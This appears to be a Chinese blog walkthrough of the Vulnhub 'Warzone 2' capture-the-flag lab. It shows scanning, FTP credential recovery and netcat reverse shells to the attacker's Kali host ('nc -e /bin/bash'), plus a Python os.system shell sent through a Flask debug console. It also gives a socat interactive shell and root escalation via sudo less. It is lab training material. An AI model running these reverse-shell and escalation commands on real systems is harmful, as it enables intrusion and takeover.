Vulnhub靶机实战-Warzone 2

声明

好好学习,天天向上

搭建

使用virtualbox打开,网络配置和我的PRESIDENTIAL文章一样,是要vmware和virtualbox互连

渗透

存活扫描,发现目标

arp-scan -l
nmap -sP 192.168.239.1/24

端口扫描

nmap -T4 -A 192.168.239.10 -p 1-65535 -oN nmap.A

Vulnhub靶机实战-Warzone 2

开启端口

21,22,1337

以匿名用户登录ftp

Vulnhub靶机实战-Warzone 2

三张图片分别是用户名密码和token,旗语吗?只在亮剑里面看过旗语

Vulnhub靶机实战-Warzone 2

对照解密后:

username:semaphore
password:signalperson

hash:
sha256(semaphoresignalperson)= 833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26
token:38333361643438383436346465316132376435313266313034623633393235386537373930316631346561623730363136333036336433343035346137623236

nc连接1337端口,成功获取shell

nc 192.168.239.10 1337
用户名输入
semaphore
密码输入
signalperson
Token输入
833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26

这个命令行不是很友好考虑kali监听6666,使用nc反弹shell

kali监听6666

nc -lvvp 6666

刚刚的命令行执行

nc -e /bin/bash 192.168.239.7 6666

Vulnhub靶机实战-Warzone 2

在home目录下发现flagman目录,这不就是让我进去看的吗,不过为啥看到flagman,我不由得想到duckman,拿到flagman的密码

i_hate_signals!

Vulnhub靶机实战-Warzone 2

ssh连过去,并拿到第一个flag

ssh -p 22 flagman@192.168.239.10

Vulnhub靶机实战-Warzone 2

通过sudo -l查看发现可以通过无密码以admiral身份执行一个文件,执行以下这个文件

sudo -l
sudo -u admiral /usr/bin/python3 /home/admiral/warzone2-app/wrz2-app.py

开启了5000端口的flask,这是一个python的框架,以Debug模式运行。
5000为python flask,在ip/console可执行python代码。
访问靶机5000端口发现访问被拒绝,都连不*问不了,只能从本机访问。由于已经有了ssh连接的权限,考虑端口转发,将靶机5000端口通过ssh转发至kail的8001端口。

Vulnhub靶机实战-Warzone 2

Vulnhub靶机实战-Warzone 2

kali命令

行输入,转发

ssh -L 8001:127.0.0.1:5000  -fN flagman@192.168.239.10

现在访问kali的8001,相当于访问239.10的5000了

kali监听6667端口

nc -lvvp 6667

kali访问

http://127.0.0.1:8001/console
输入PIN(在flask日东的console中有)
182-189-520

输入python反弹shell

import os
os.system('nc -e /bin/bash 192.168.239.7 6667')

Vulnhub靶机实战-Warzone 2

Vulnhub靶机实战-Warzone 2

现在是提权到了admin,还没到root呢

再试试sudo -l

sudo -u root /usr/bin/less /var/public/warzone-rules.txt

执行后,一言难尽

Vulnhub靶机实战-Warzone 2

Less的话是可以进行提权的,但是有一个要求是必须是交互式的shell

获取交互式shell

通过测试socat是可以使用的,socat可以创建交互式shell,创建的shell类似于ssh直接登录,非常好用

Kali执行

socat file:`tty`,raw,echo=0 tcp-listen:7777

靶机执行

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.239.7:7777

kali反弹shell后,再次执行

sudo -u root /usr/bin/less /var/public/warzone-rules.txt

这次就进入编辑页面的的编辑器中了,那么在编辑器中执行

!id

或者

!cat /root/Desktop/gold.txt

Vulnhub靶机实战-Warzone 2

拿到flag,看看开了多少个终端框

Vulnhub靶机实战-Warzone 2

总结

1.信息收集

端口发现22,21,1337

通过21,匿名登录ftp,发现旗语照片,百度解密后,拿到用户名密码token

2.web权限

3.shell权限

nc到1337,使用解密后的凭证登录

4.权限维持

反弹shell后,查看目录,拿到flag,并ssh登录

5.提权

使用sudo执行文件后,开启flask服务,该服务无法正常访问,于是通过linux设置代理,访问flask服务,利用该服务再次反弹shell,拿到权限

开启socat,并使用sudo执行文件,提到root,拿到flag

上一篇:CF932E Team Work 第二类Strling数


下一篇:编写合格的C代码(2):实现简易日志库